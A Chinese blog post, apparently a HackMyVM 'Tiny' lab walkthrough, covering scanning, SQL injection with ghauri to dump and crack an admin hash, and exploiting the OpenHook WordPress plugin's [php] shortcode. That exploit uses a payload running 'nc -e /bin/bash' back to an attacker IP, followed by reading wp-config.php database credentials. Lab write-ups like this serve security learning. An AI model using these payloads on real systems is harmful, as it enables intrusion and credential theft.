{"id":520,"date":"2024-04-09T17:30:25","date_gmt":"2024-04-09T09:30:25","guid":{"rendered":"http:\/\/162.14.82.114\/?p=520"},"modified":"2024-04-09T17:30:25","modified_gmt":"2024-04-09T09:30:25","slug":"hmv-_-tiny","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/520\/04\/09\/2024\/","title":{"rendered":"hmv[-_-]Tiny"},"content":{"rendered":"

Tiny<\/h1>\n

\"image-20240409142625936\"<\/div><\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
rustscan -a 172.20.10.3 -- -A<\/code><\/pre>\n
PORT     STATE SERVICE    REASON  VERSION\n22\/tcp   open  ssh        syn-ack OpenSSH 9.2p1 Debian 2 (protocol 2.0)\n| ssh-hostkey: \n|   256 dd:83:da:cb:45:d3:a8:ea:c6:be:19:03:45:76:43:8c (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOHL4gbzUOgWlMW\/HgWpBe3FlvvdyW1IsS+o1NK\/YbUOoM3iokvdbkFxXdYjyvzkNpvpCXfldEQwS+BIfEmdtwU=\n|   256 e5:5f:7f:25:aa:c0:18:04:c4:46:98:b3:5d:a5:2b:48 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC0o8\/EYPi0jQMqY1zqXqlKfugpCtjg0i5m3bzbyfqxt\n80\/tcp   open  http       syn-ack Apache httpd 2.4.57 ((Debian))\n| http-methods: \n|_  Supported Methods: GET HEAD POST OPTIONS\n|_http-server-header: Apache\/2.4.57 (Debian)\n| http-robots.txt: 15 disallowed entries \n| \/wp-admin\/ \/cgi-bin\/ \/private\/ \/temp\/ \/backup\/ \/old\/ \n| \/test\/ \/dev\/ \/ \/misc\/ \/downloads\/ \/doc\/ \/documents\/ \n|_\/restricted\/ \/confidential\/\n|_http-title: Blog\n|_http-generator: WordPress 6.3.1\n8888\/tcp open  http-proxy syn-ack tinyproxy 1.11.1\n|_http-server-header: tinyproxy\/1.11.1\n|_http-title: 403 Access denied\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
gobuster dir -u http:\/\/172.20.10.3 -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,zip,git,jpg,txt,png<\/code><\/pre>\n
\/.php                 (Status: 403) [Size: 276]\n\/index.php            (Status: 301) [Size: 0] [--> http:\/\/172.20.10.3\/]\n\/wp-content           (Status: 301) [Size: 315] [--> http:\/\/172.20.10.3\/wp-content\/]\n\/license.txt          (Status: 200) [Size: 19915]\n\/wp-includes          (Status: 301) [Size: 316] [--> http:\/\/172.20.10.3\/wp-includes\/]\n\/javascript           (Status: 301) [Size: 315] [--> http:\/\/172.20.10.3\/javascript\/]\n\/robots.txt           (Status: 200) [Size: 815]\n\/wp-trackback.php     (Status: 200) [Size: 135]\n\/wp-login.php         (Status: 200) [Size: 5714]\n\/wp-admin             (Status: 301) [Size: 313] [--> http:\/\/172.20.10.3\/wp-admin\/]\n\/xmlrpc.php           (Status: 405) [Size: 42]\n\/.php                 (Status: 403) [Size: 276]\n\/wp-signup.php        (Status: 302) [Size: 0] [--> http:\/\/tiny.hmv\/wp-login.php?action=register]\n\/server-status        (Status: 403) [Size: 276]<\/code><\/pre>\n
\u6f0f\u6d1e\u626b\u63cf<\/h3>\n
nikto -h http:\/\/172.20.10.3<\/code><\/pre>\n
 Nikto v2.5.0\n---------------------------------------------------------------------------\n+ Target IP:          172.20.10.3\n+ Target Hostname:    172.20.10.3\n+ Target Port:        80\n+ Start Time:         2024-04-09 02:42:54 (GMT-4)\n---------------------------------------------------------------------------\n+ Server: Apache\/2.4.57 (Debian)\n+ \/: The anti-clickjacking X-Frame-Options header is not present. See: https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Headers\/X-Frame-Options\n+ \/: Drupal Link header found with value: <http:\/\/tiny.hmv\/index.php?rest_route=\/>; rel="https:\/\/api.w.org\/". See: https:\/\/www.drupal.org\/\n+ \/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https:\/\/www.netsparker.com\/web-vulnerability-scanner\/vulnerabilities\/missing-content-type-header\/\n+ \/index.php?: Uncommon header 'x-redirect-by' found, with contents: WordPress.\n+ No CGI Directories found (use '-C all' to force check all possible dirs)\n+ \/robots.txt: contains 18 entries which should be manually viewed. See: https:\/\/developer.mozilla.org\/en-US\/docs\/Glossary\/Robots.txt\n+ \/: Web Server returns a valid response with junk HTTP methods which may cause false positives.\n+ : CGI Directory found. See: http:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2004-1607\n+ \/wp-content\/plugins\/akismet\/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version.\n+ \/wp-links-opml.php: This WordPress script reveals the installed version.\n+ \/license.txt: License file found may identify site software.\n+ \/: A WordPress installation was found.\n+ \/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. See: https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Cookies\n+ \/wp-content\/uploads\/: Directory indexing found.\n+ \/wp-content\/uploads\/: WordPress uploads directory is browsable. This may reveal sensitive information.\n+ \/wp-login.php: WordPress login found.\n+ 9732 requests: 0 error(s) and 15 item(s) reported on remote host\n+ End Time:           2024-04-09 02:43:22 (GMT-4) (28 seconds)\n---------------------------------------------------------------------------\n+ 1 host(s) tested<\/code><\/pre>\n
WPScan\u626b\u63cf<\/h3>\n
wpscan --url http:\/\/tiny.hmv\/ --api-token=xxxxxx<\/code><\/pre>\n
_______________________________________________________________\n         __          _______   _____\n         \\ \\        \/ \/  __ \\ \/ ____|\n          \\ \\  \/\\  \/ \/| |__) | (___   ___  __ _ _ __ \u00ae\n           \\ \\\/  \\\/ \/ |  ___\/ \\___ \\ \/ __|\/ _` | '_ \\\n            \\  \/\\  \/  | |     ____) | (__| (_| | | | |\n             \\\/  \\\/   |_|    |_____\/ \\___|\\__,_|_| |_|\n\n         WordPress Security Scanner by the WPScan Team\n                         Version 3.8.25\n       Sponsored by Automattic - https:\/\/automattic.com\/\n       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart\n_______________________________________________________________\n\n[+] URL: http:\/\/tiny.hmv\/ [172.20.10.3]\n[+] Started: Tue Apr  9 03:49:34 2024\n\nInteresting Finding(s):\n\n[+] Enumerating All Plugins (via Passive Methods)\n\n[i] No plugins Found.\n\n[+] Enumerating Config Backups (via Passive and Aggressive Methods)\n Checking Config Backups - Time: 00:00:00 <=============================================================================> (137 \/ 137) 100.00% Time: 00:00:0\n[i] No Config Backups Found.<\/code><\/pre>\n
\u4f3c\u4e4e\u6ca1\u5565\u53d1\u73b0\u3002\u3002<\/p>\n
\u6f0f\u6d1e\u5229\u7528<\/h2>\n
\u8e29\u70b9<\/h3>\n
\"image-20240409144457625\"<\/div><\/p>\n
\u8fd9\u4e2awordpress\u7248\u672c\u4f3c\u4e4e\u6bd4\u8f83\u65b0\uff0c\u5148\u4e0d\u8fdb\u884c\u6f0f\u6d1e\u63a2\u6d4b\u4e86\uff0c\u518d\u770b\u4e00\u4e0b8080\u7aef\u53e3\uff0c\u65e0\u6cd5\u8bbf\u95ee\u3002<\/p>\n
\u67e5\u770b\u654f\u611f\u76ee\u5f55<\/h3>\n
\"image-20240409145658332\"<\/div><\/p>\n
\u6682\u65f6\u6ca1\u5565\u5927\u7528\u3002\u3002<\/p>\n
# robots.txt for http:\/\/tiny.hmv\n\n# General settings\nUser-agent: *\nCrawl-delay: 10\n\n# Standard subdirectory disallow\nDisallow: \/wp-admin\/\nDisallow: \/cgi-bin\/\nDisallow: \/private\/\nDisallow: \/temp\/\nDisallow: \/backup\/\n\n# Specific rules for known bots\nUser-agent: Googlebot\nAllow: \/\n\nUser-agent: Bingbot\nAllow: \/\nDisallow: \/private\/\n\n# Additional sitemap references\nSitemap: http:\/\/tiny.hmv\/sitemap.xml\nSitemap: http:\/\/wish.tiny.hmv\/sitemap.xml\n\n# Restrictions for other directories\nDisallow: \/old\/\nDisallow: \/test\/\nDisallow: \/dev\/\n\n# Restrict access for BadBot\nUser-agent: BadBot\nDisallow: \/\n\n# Miscellaneous\nDisallow: \/misc\/\nDisallow: \/downloads\/\nDisallow: \/doc\/\nDisallow: \/documents\/\n\n# For any other miscellaneous user-agents, apply general restrictions\nUser-agent: *\nDisallow: \/restricted\/\nDisallow: \/confidential\/<\/code><\/pre>\n
\u6328\u4e2a\u770b\u4e00\u4e0b\uff0c\u53d1\u73b0\u4f1a\u8df3\u8f6c\uff0c\u505a\u4e00\u4e2adns\u89e3\u6790<\/p>\n
172.20.10.3  tiny.hmv  wish.tiny.hmv<\/code><\/pre>\n
\u53d1\u73b0\u767b\u5f55\u9875\u9762admin.php<\/code>\uff1a<\/p>\n
\"image-20240409145111256\"<\/div><\/p>\n
\u4e3b\u9875\uff1a<\/p>\n
\"image-20240409145214644\"<\/div><\/p>\n
\u8fd8\u6709\u4e00\u4e2a\u767b\u5f55\u6846\uff1a<\/p>\n
\n
\u4e3a\u4ec0\u4e48\u8fd9\u91cc\u4f7f\u7528kali\uff0c\u56e0\u4e3a\u6211\u4e0d\u77e5\u9053\u548b\u914d\u7f6ewindows\uff0c\u6211\u7684\u7535\u8111\u914d\u7f6e\u4e86\u8fd9\u4e2a\u57df\u540d\u4ee5\u540e\u8fd8\u662f\u4f1a502\u3002<\/p>\n<\/blockquote>\n
\"image-20240409150131820\"<\/div><\/p>\n
SQL\u6ce8\u5165<\/h3>\n
\u5176\u4ed6\u7684\u6682\u65f6\u8fdb\u4e0d\u53bb\u3002\u8054\u60f3\u5230\u5b83\u7684\u57df\u540d\u6709\u4e1c\u897f\uff0c\u5c1d\u8bd5FUZZ\u4e00\u4e0b\uff0c\u8fd9\u4e2a\u65f6\u95f4\u6293\u4e00\u4e0b\u5305\uff0c\u987a\u4fbf\u6d4b\u8bd5\u4e00\u4e0b\u5f31\u5bc6\u7801\u548c\u4e07\u80fd\u5bc6\u7801\uff1a<\/p>\n
POST \/index.php HTTP\/1.1\nHost: wish.tiny.hmv\nContent-Length: 26\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http:\/\/wish.tiny.hmv\nContent-Type: application\/x-www-form-urlencoded\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/121.0.6167.85 Safari\/537.36\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\nReferer: http:\/\/wish.tiny.hmv\/\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nusername=admin&wish=123456<\/code><\/pre>\n
\"image-20240409151024603\"<\/div><\/p>\n
\n
HTTP \u72b6\u6001\u4ee3\u7801500 \u8868\u793a\u670d\u52a1\u5668\u5185\u90e8\u9519\u8bef<\/strong>\u3002 \u8fd9\u901a\u5e38\u662f\u7531\u4e8e\u670d\u52a1\u5668\u7aef\u7684\u4ee3\u7801\u6267\u884c\u51fa\u9519\u5bfc\u81f4\u7684\u3002 \u5f53\u5ba2\u6237\u7aef\uff08\u4f8b\u5982\u6d4f\u89c8\u5668\uff09\u5411\u670d\u52a1\u5668\u53d1\u8d77\u8bf7\u6c42\u65f6\uff0c\u670d\u52a1\u5668\u4f1a\u8fd4\u56de\u4e00\u4e2aHTTP \u72b6\u6001\u4ee3\u7801\u6765\u544a\u8bc9\u5ba2\u6237\u7aef\u8bf7\u6c42\u7684\u5904\u7406\u60c5\u51b5\u3002 \u5982\u679c\u670d\u52a1\u5668\u8fd4\u56de500 \u9519\u8bef\uff0c\u5219\u8868\u793a\u5728\u5904\u7406\u8bf7\u6c42\u65f6\u53d1\u751f\u4e86\u672a\u77e5\u9519\u8bef\u3002<\/p>\n<\/blockquote>\n
\u5c1d\u8bd5\u6ce8\u5165\u4e00\u4e0b\uff1a<\/p>\n
ghauri -r sql.txt --batch\n# sqlmap -r sql.txt<\/code><\/pre>\n
\n
\u6362\u4e00\u4e2a\u5de5\u5177\u7528\u7528\uff0c\u5176\u5b9e\u4e24\u4e2a\u5de5\u5177\u90fd\u662f\u4e00\u6837\u7684\u3002<\/p>\n<\/blockquote>\n
\"image-20240409152044931\"<\/div><\/p>\n
\u67e5\u770b\u6570\u636e\uff1a<\/p>\n
ghauri -r sql.txt --batch --current-db\nghauri -r sql.txt -p username -D wish_db --tables\nghauri -r sql.txt -p username -D wish_db -T wishs --dump\nghauri -r sql.txt -p username -D wish_db -T wishs -C wish --dump\nghauri -r sql.txt -p username -D wish_db -T admin --columns\nghauri -r sql.txt -p username -D wish_db -T admin -C username --dump\nghauri -r sql.txt -p username -D wish_db -T admin -C password --dump<\/code><\/pre>\n
\u5f97\u5230\uff1a<\/p>\n
umeko\n8df4387dd1598d4dcf237f9443028cec<\/code><\/pre>\n
\u5c1d\u8bd5\u89e3\u5bc6\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240409154011454\"<\/div><\/p>\n
\u5c1d\u8bd5\u767b\u5f55\uff1a<\/p>\n
umeko\nfuckit!<\/code><\/pre>\n
\"image-20240409154502640\"<\/div><\/p>\n
\u8fdb\u6765\u4e86\u3002<\/p>\n
FUZZ\u57df\u540d<\/h3>\n
FUZZ\u7684\u7ed3\u679c\uff1a<\/p>\n
wfuzz -u http:\/\/FUZZ.tiny.hmv -w \/usr\/share\/seclists\/Discovery\/DNS\/subdomains-top1million-20000.txt --ip 172.20.10.3 --hw 901\n=====================================================================\nID           Response   Lines    Word       Chars       Payload\n=====================================================================\n000000001:   301        0 L      0 W        0 Ch        "www"\n000006244:   200        68 L     132 W      1821 Ch     "wish"\n000009532:   400        10 L     35 W       300 Ch      "#www"\n000010581:   400        10 L     35 W       300 Ch      "#mail"  \n# ffuf -u http:\/\/FUZZ.tiny.hmv\/ -w \/usr\/share\/seclists\/Discovery\/DNS\/subdomains-top1million-20000.txt\n# wish                    [Status: 200, Size: 1821, Words: 576, Lines: 69, Duration: 16ms]<\/code><\/pre>\n
\u6ca1\u4e1c\u897f\uff0c\u63a5\u7740\u505a\u5427\u3002<\/p>\n
\u63d2\u5165\u4ee3\u7801\u53cd\u5f39shell<\/h3>\n
\u6211\u4eec\u60f3\u63d2\u5165php\u4ee3\u7801\u53cd\u5f39shell\uff0c\u4f46\u662f\u4f3c\u4e4e\u6ca1\u6709\u76f8\u5e94\u7684\u5730\u65b9\u7ed9\u6211\u95e8\u8fdb\u884c\u64cd\u4f5c\uff0c\u5c1d\u8bd5\u67e5\u627e\u8be5\u7248\u672c\u7684\u76f8\u5173\u6f0f\u6d1e\u4e86\uff0c\u5230\u4e86\u8fd9\u91cc\u5e94\u8be5\u662f\u60f3\u8ba9\u6211\u4eec\u4f7f\u7528\u76f8\u5173\u6f0f\u6d1e\u7684\uff1a<\/p>\n
\"image-20240409155543007\"<\/div><\/p>\n
\u5c3d\u7ba1\u6f0f\u6d1e\u5f88\u591a\uff0c\u4f46\u662f\u90fd\u4e0d\u662f\u6211\u4eec\u60f3\u8981\u7684\uff0c\u6211\u4eec\u5c1d\u8bd5\u4e00\u4e0bgoogle\uff01<\/p>\n
\u6211\u4eec\u9700\u8981\u7684\u662f\u53ef\u4ee5RCE\u7684\u6f0f\u6d1e\uff0c\u76f4\u63a5\u641c\u7d22\u4e00\u4e0b\uff0c\u5728google\u548cgithub\u770b\u770b\uff1a<\/p>\n
\"image-20240409160028034\"<\/div>
\n
\"image-20240409160054876\"<\/div><\/p>\n
\u4e00\u65e0\u6240\u83b7\uff0c\u4e0d\u662f\u672c\u8eab\u7684\u95ee\u9898\uff0c\u90a3\u5c31\u662f\u63d2\u4ef6\u7684\u95ee\u9898\u4e86\uff0c\u5c1d\u8bd5\u67e5\u770b\u4e00\u4e0b\u63d2\u4ef6\u76f8\u5173\u4fe1\u606f\uff0c\u4f7f\u7528wpscan\u8fdb\u884c\u67e5\u627e\uff1a<\/p>\n
\"image-20240409160429314\"<\/div>
\n
\"image-20240409160536862\"<\/div><\/p>\n
\u5b58\u5728\u76f8\u5173\u7684\u53c2\u6570\uff0c\u5c1d\u8bd5\u8fdb\u884c\u641c\u96c6\uff1a<\/p>\n
wpscan --url http:\/\/tiny.hmv\/ -e ap --plugins-detection aggressive --plugins-version-detection aggressive --api-token=xxxxxx<\/code><\/pre>\n
    \n
  • mix           \u6df7\u5408<\/li>\n
  • passive      \u88ab\u52a8<\/li>\n
  • aggressive \u4e3b\u52a8<\/li>\n<\/ul>\n
    \u61c2\u5427\uff0c\u80af\u5b9a\u8981\u4e3b\u52a8\u4e00\u70b9\u554a\uff0c\u4e0d\u7136\u627e\u4e0d\u5230\u5973\u670b\u53cb\uff0c\u72d7\u5934.jpg\u3002<\/p>\n
    [i] Plugin(s) Identified:\n\n[+] akismet\n | Location: http:\/\/tiny.hmv\/wp-content\/plugins\/akismet\/\n | Last Updated: 2024-03-21T00:55:00.000Z\n | Readme: http:\/\/tiny.hmv\/wp-content\/plugins\/akismet\/readme.txt\n | [!] The version is out of date, the latest version is 5.3.2\n |\n | Found By: Known Locations (Aggressive Detection)\n |  - http:\/\/tiny.hmv\/wp-content\/plugins\/akismet\/, status: 200\n |\n | Version: 5.2 (100% confidence)\n | Found By: Readme - Stable Tag (Aggressive Detection)\n |  - http:\/\/tiny.hmv\/wp-content\/plugins\/akismet\/readme.txt\n | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)\n |  - http:\/\/tiny.hmv\/wp-content\/plugins\/akismet\/readme.txt\n\n[+] guardgiant\n | Location: http:\/\/tiny.hmv\/wp-content\/plugins\/guardgiant\/\n | Last Updated: 2023-12-08T15:55:00.000Z\n | Readme: http:\/\/tiny.hmv\/wp-content\/plugins\/guardgiant\/README.txt\n | [!] The version is out of date, the latest version is 2.2.6\n |\n | Found By: Known Locations (Aggressive Detection)\n |  - http:\/\/tiny.hmv\/wp-content\/plugins\/guardgiant\/, status: 200\n |\n | [!] 1 vulnerability identified:\n |\n | [!] Title: WordPress Brute Force Protection < 2.2.6 - Admin+ SQLi\n |     Fixed in: 2.2.6\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/1fc067f1-0b58-404d-bb18-d7f2ce0363fd\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2023-48764\n |      - https:\/\/patchstack.com\/database\/vulnerability\/guardgiant\/wordpress-wordpress-brute-force-protection-stop-brute-force-attacks-plugin-2-2-5-sql-injection-vulnerability\n |\n | Version: 2.2.5 (100% confidence)\n | Found By: Readme - Stable Tag (Aggressive Detection)\n |  - http:\/\/tiny.hmv\/wp-content\/plugins\/guardgiant\/README.txt\n | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)\n |  - http:\/\/tiny.hmv\/wp-content\/plugins\/guardgiant\/README.txt\n\n[+] thesis-openhook\n | Location: http:\/\/tiny.hmv\/wp-content\/plugins\/thesis-openhook\/\n | Last Updated: 2023-09-29T03:04:00.000Z\n | Readme: http:\/\/tiny.hmv\/wp-content\/plugins\/thesis-openhook\/readme.txt\n | [!] The version is out of date, the latest version is 4.3.1\n |\n | Found By: Known Locations (Aggressive Detection)\n |  - http:\/\/tiny.hmv\/wp-content\/plugins\/thesis-openhook\/, status: 403\n |\n | [!] 1 vulnerability identified:\n |\n | [!] Title: OpenHook < 4.3.1 - Subscriber+ Remote Code Execution\n |     Fixed in: 4.3.1\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/5bd9fbd2-26ea-404a-aba7-f0c457a082b6\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2023-5201\n |      - https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/id\/37b9ed0e-5af2-47c1-b2da-8d103e4c31bf\n |\n | Version: 4.3.0 (100% confidence)\n | Found By: Readme - Stable Tag (Aggressive Detection)\n |  - http:\/\/tiny.hmv\/wp-content\/plugins\/thesis-openhook\/readme.txt\n | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)\n |  - http:\/\/tiny.hmv\/wp-content\/plugins\/thesis-openhook\/readme.txt<\/code><\/pre>\n
    \u53d1\u73b0\u4e86\u4e00\u4e2a\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff0c\u5c1d\u8bd5\u5229\u7528\uff1a<\/p>\n
    \n
    The OpenHook plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 4.3.0 via the 'php' shortcode. This allows authenticated attackers with subscriber-level permissions or above, to execute code on the server. This requires the [php] shortcode setting to be enabled on the vulnerable site.<\/p>\n
    WordPress \u7684 OpenHook \u63d2\u4ef6\u5728 4.3.0 \u53ca\u4e4b\u524d\u7684\u7248\u672c\u4e2d\u5bb9\u6613\u901a\u8fc7\u201cphp\u201d\u77ed\u4ee3\u7801\u53d7\u5230\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u7684\u653b\u51fb\u3002\u8fd9\u5141\u8bb8\u5177\u6709\u8ba2\u9605\u8005\u7ea7\u6216\u66f4\u9ad8\u6743\u9650\u7684\u7ecf\u8fc7\u8eab\u4efd\u9a8c\u8bc1\u7684\u653b\u51fb\u8005\u5728\u670d\u52a1\u5668\u4e0a\u6267\u884c\u4ee3\u7801\u3002\u8fd9\u9700\u8981\u5728\u6613\u53d7\u653b\u51fb\u7684\u7f51\u7ad9\u4e0a\u542f\u7528 [php] \u77ed\u4ee3\u7801\u8bbe\u7f6e\u3002<\/p>\n<\/blockquote>\n
    \u5c1d\u8bd5\u8fdb\u884c\u5229\u7528\uff0c\u5148\u770b\u4e00\u4e0b\u8fd9\u4e2aphp\u77ed\u4ee3\u7801\u662f\u5565\uff0c\u5728\u7f51\u4e0a\u53d1\u73b0\u662f\u957f\u8fd9\u6837\u7684\uff1a<\/p>\n
    \"image-20240409162741069\"<\/div>
    \n
    \"image-20240409161729151\"<\/div>
    \n
    \"image-20240409161746574\"<\/div><\/p>\n
    \u5c1d\u8bd5\u4e00\u4e0b\u662f\u5426\u53ef\u4ee5\u6267\u884c\uff1a<\/p>\n
    \"image-20240409162926417\"<\/div>
    \n
    \"image-20240409162911408\"<\/div><\/p>\n
    \u6539\u4e3a[php]<\/code>\u53c8\u53ef\u4ee5\u6267\u884c\u4e86\uff0c\u5636\uff0c\u770b\u6765\u4e0d\u80fd\u968f\u4fbf\u4f5c\u5996\u3002\u3002\u3002<\/p>\n
    \u5bf9\u4e86\uff0c\u6211\u4e2d\u95f4\u628a\u6240\u6709\u8005\u6539\u4e3aadmin<\/code>\u4e86\uff0c\u4f46\u662f\u597d\u50cf\u6ca1\u5565\u5173\u7cfb\u3002<\/p>\n
    \"image-20240409163159228\"<\/div>
    \n
    \"image-20240409163144277\"<\/div><\/p>\n
    \u5c1d\u8bd5\u53cd\u5f39shell\uff01\uff01\uff01\uff01<\/p>\n
    # payload\n[php]\n<?php system('nc -e \/bin\/bash 172.20.10.8 1234') ?>\n[\/php]<\/code><\/pre>\n
    \"image-20240409163502033\"<\/div><\/p>\n
    \u5b83\u5728\u4e0a\u4f20\uff0c\u4f46\u662f\u5176\u5b9e\u5df2\u7ecf\u5f39\u56de\u6765\u4e86\uff0cnuo\uff1a<\/p>\n
    \"image-20240409163517778\"<\/div><\/p>\n
    \u63d0\u6743<\/h2>\n
    \u63d0\u5347\u4ea4\u4e92\u6027<\/h3>\n
    \/usr\/bin\/script -qc \/bin\/bash \/dev\/null\nexport TERM=xterm\n\npython3 -c 'import pty;pty.spawn("\/bin\/bash")'<\/code><\/pre>\n
    \u90fd\u884c\u3002<\/p>\n
    \u4fe1\u606f\u641c\u96c6<\/h3>\n
    (remote) www-data@tiny.hmv:\/var\/www\/html$ ls\nindex.nginx-debian.html  readme.html      wp-admin              wp-config-sample.php  wp-cron.php        wp-load.php   wp-settings.php   xmlrpc.php\nindex.php                robots.txt       wp-blog-header.php    wp-config.php         wp-includes        wp-login.php  wp-signup.php\nlicense.txt              wp-activate.php  wp-comments-post.php  wp-content            wp-links-opml.php  wp-mail.php   wp-trackback.php\n(remote) www-data@tiny.hmv:\/var\/www\/html$ cat wp-config.php \n\/\/ ** Database settings - You can get this info from your web host ** \/\/\n\/** The name of the database for WordPress *\/\ndefine( 'DB_NAME', 'wordpressdb' );\n\n\/** Database username *\/\ndefine( 'DB_USER', 'wordpressuser' );\n\n\/** Database password *\/\ndefine( 'DB_PASSWORD', '6rt443RKhwTXjWDe' );<\/code><\/pre>\n
    wordpressuser\n6rt443RKhwTXjWDe<\/code><\/pre>\n
    \u7ee7\u7eed\u641c\u96c6\uff1a<\/p>\n
    (remote) www-data@tiny.hmv:\/home$ ls\nvic\n(remote) www-data@tiny.hmv:\/home$ cd vic\nbash: cd: vic: Permission denied\n(remote) www-data@tiny.hmv:\/home$ ps aux\n.........\ntinypro+     551  0.0  0.1 203964  3508 ?        Ss   08:23   0:00 \/usr\/bin\/tinyproxy -d\n.........\n(remote) www-data@tiny.hmv:\/home$ ss -tulnp\nNetid          State           Recv-Q          Send-Q                   Local Address:Port                   Peer Address:Port  \nudp            UNCONN          0               0                              0.0.0.0:68                          0.0.0.0:*\ntcp            LISTEN          0               511                          127.0.0.1:8000                        0.0.0.0:*\ntcp            LISTEN          0               1024                           0.0.0.0:8888                        0.0.0.0:*\ntcp            LISTEN          0               128                            0.0.0.0:22                          0.0.0.0:*\ntcp            LISTEN          0               80                           127.0.0.1:3306                        0.0.0.0:*\ntcp            LISTEN          0               1024                              [::]:8888                           [::]:*\ntcp            LISTEN          0               128                               [::]:22                             [::]:*\ntcp            LISTEN          0               511                                  *:80                                *:*    <\/code><\/pre>\n
    \n
    Tinyproxy\u662f\u4e00\u4e2a\u9762\u5411POSIX\u7cfb\u7edf\u5f00\u53d1\u7684\u8f7b\u91cf\u7ea7\u7684\u5f00\u6e90HTTP\/HTTPS\u4ee3\u7406\u5b88\u62a4\u8fdb\u7a0b\u3002\u5b83\u7684\u8bbe\u8ba1\u76ee\u6807\u662f\u5feb\u800c\u5c0f\uff0c\u4ece\u5e95\u5c42\u5f00\u59cb\u8bbe\u8ba1\uff0c\u4fdd\u8bc1\u4e86\u5728\u9ad8\u901f\u7684\u540c\u65f6\u4f53\u79ef\u4f9d\u7136\u5f88\u5c0f\uff0c\u4ec5\u9700\u5c11\u91cf\u7cfb\u7edf\u8d44\u6e90\u3002\u5b83\u5f88\u9002\u5408\u7528\u4e8e\u9700\u8981\u5b8c\u6574HTTP\u4ee3\u7406\u7279\u6027\uff0c\u4f46\u7cfb\u7edf\u8d44\u6e90\u53c8\u4e0d\u8db3\u4ee5\u8fd0\u884c\u5927\u578b\u4ee3\u7406\u7684\u573a\u666f\uff0c\u6bd4\u5982\u5d4c\u5165\u5f0f\u90e8\u7f72\u548c\u5c0f\u89c4\u6a21\u7f51\u7edc\u3002<\/p>\n
    Tinyproxy\u5177\u6709\u4ee5\u4e0b\u7279\u6027\uff1a<\/p>\n
      \n
    1. \u9ad8\u901f\u7f13\u51b2\uff1aTinyproxy\u5177\u6709\u7f13\u51b2\u8fde\u63a5\u7684\u7406\u5ff5\uff0c\u53ef\u4ee5\u5bf9\u670d\u52a1\u5668\u7684\u54cd\u5e94\u8fdb\u884c\u9ad8\u901f\u7f13\u51b2\uff0c\u7136\u540e\u6309\u7167\u5ba2\u6237\u7aef\u80fd\u591f\u5904\u7406\u7684\u6700\u9ad8\u901f\u5ea6\u8fdb\u884c\u54cd\u5e94\uff0c\u6781\u5927\u5730\u964d\u4f4e\u4e86\u7f51\u7edc\u5ef6\u6ede\u5e26\u6765\u7684\u95ee\u9898\u3002<\/li>\n
    2. \u5171\u4eabInternet\u8fde\u63a5\uff1a\u5982\u679c\u4f60\u6709\u4e00\u4e2a\u6709\u7ebf\u6216\u65e0\u7ebf\u7f51\u7edc\uff0c\u5e76\u5e0c\u671b\u4e0e\u5176\u4ed6\u4eba\u5171\u4eab\u4f60\u7684Internet\u8fde\u63a5\uff0cTinyproxy\u53ef\u4ee5\u5e2e\u52a9\u4f60\u5b9e\u73b0\u8fd9\u4e00\u70b9\u3002<\/li>\n
    3. \u7f51\u7edc\u76d1\u63a7\u548c\u63a7\u5236\uff1aTinyproxy\u901a\u8fc7\u8bbe\u7f6e\u8fc7\u6ee4\u89c4\u5219\uff0c\u53ef\u4ee5\u5e2e\u52a9\u4f60\u63a7\u5236\u7f51\u7edc\u6d41\u91cf\uff0c\u5e76\u9650\u5236\u7528\u6237\u7684\u67d0\u4e9b\u8bbf\u95ee\u6743\u9650\u3002<\/li>\n
    4. \u79c1\u6709\u4e91\u670d\u52a1\u652f\u6301\uff1a\u5982\u679c\u4f60\u60f3\u5728\u672c\u5730\u8fd0\u884c\u79c1\u6709\u4e91\u670d\u52a1\uff08\u5982OpenStack\uff09\uff0c\u5e76\u4e14\u60f3\u901a\u8fc7\u4e92\u8054\u7f51\u8bbf\u95ee\u5b83\u4eec\uff0cTinyproxy\u540c\u6837\u53ef\u4ee5\u63d0\u4f9b\u652f\u6301\u3002<\/li>\n<\/ol>\n<\/blockquote>\n
      \u7aef\u53e3\u8f6c\u53d1\u63a5\u6536\u79c1\u94a5<\/h3>\n
      \u67e5\u770b\u4e00\u4e0b\uff1a<\/p>\n
      \"image-20240409165156098\"<\/div><\/p>\n
